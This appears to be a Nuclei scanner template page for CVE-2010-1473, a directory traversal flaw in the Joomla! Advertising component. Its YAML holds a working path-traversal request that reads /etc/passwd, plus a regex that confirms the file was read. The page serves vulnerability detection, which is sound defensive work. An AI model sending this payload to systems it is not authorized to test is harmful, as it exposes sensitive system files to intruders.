Joomla! Component Advertising 0.25 - Local File Inclusion

ID: CVE-2010-1473

Severity: medium

Author: daffainfo

Tags: cve2010,cve,joomla,lfi,edb,packetstorm,johnmccollum

Description

A directory traversal vulnerability in the Advertising (com_advertising) component 0.25 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.

YAML Source

id: CVE-2010-1473

info:
  name: Joomla! Component Advertising 0.25 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Advertising (com_advertising) component 0.25 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire Joomla! installation.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12171
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1473
    - http://packetstormsecurity.org/1004-exploits/joomlaeasyadbanner-lfi.txt
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-1473
    cwe-id: CWE-22
    epss-score: 0.00826
    epss-percentile: 0.8192
    cpe: cpe:2.3:a:johnmccollum:com_advertising:0.25:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: johnmccollum
    product: com_advertising
  tags: cve2010,cve,joomla,lfi,edb,packetstorm,johnmccollum

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_advertising&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a00463044022017189a9f4ee23d444cd8d8a719f1ffbf6f9f474fc93b5e6f0de8ce2716750e8502200d19eeb639ba6c59ee0e5e023c7fdffd9b502e0e3085a2bb01bd383e74f8f412:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2010/CVE-2010-1473.yaml"

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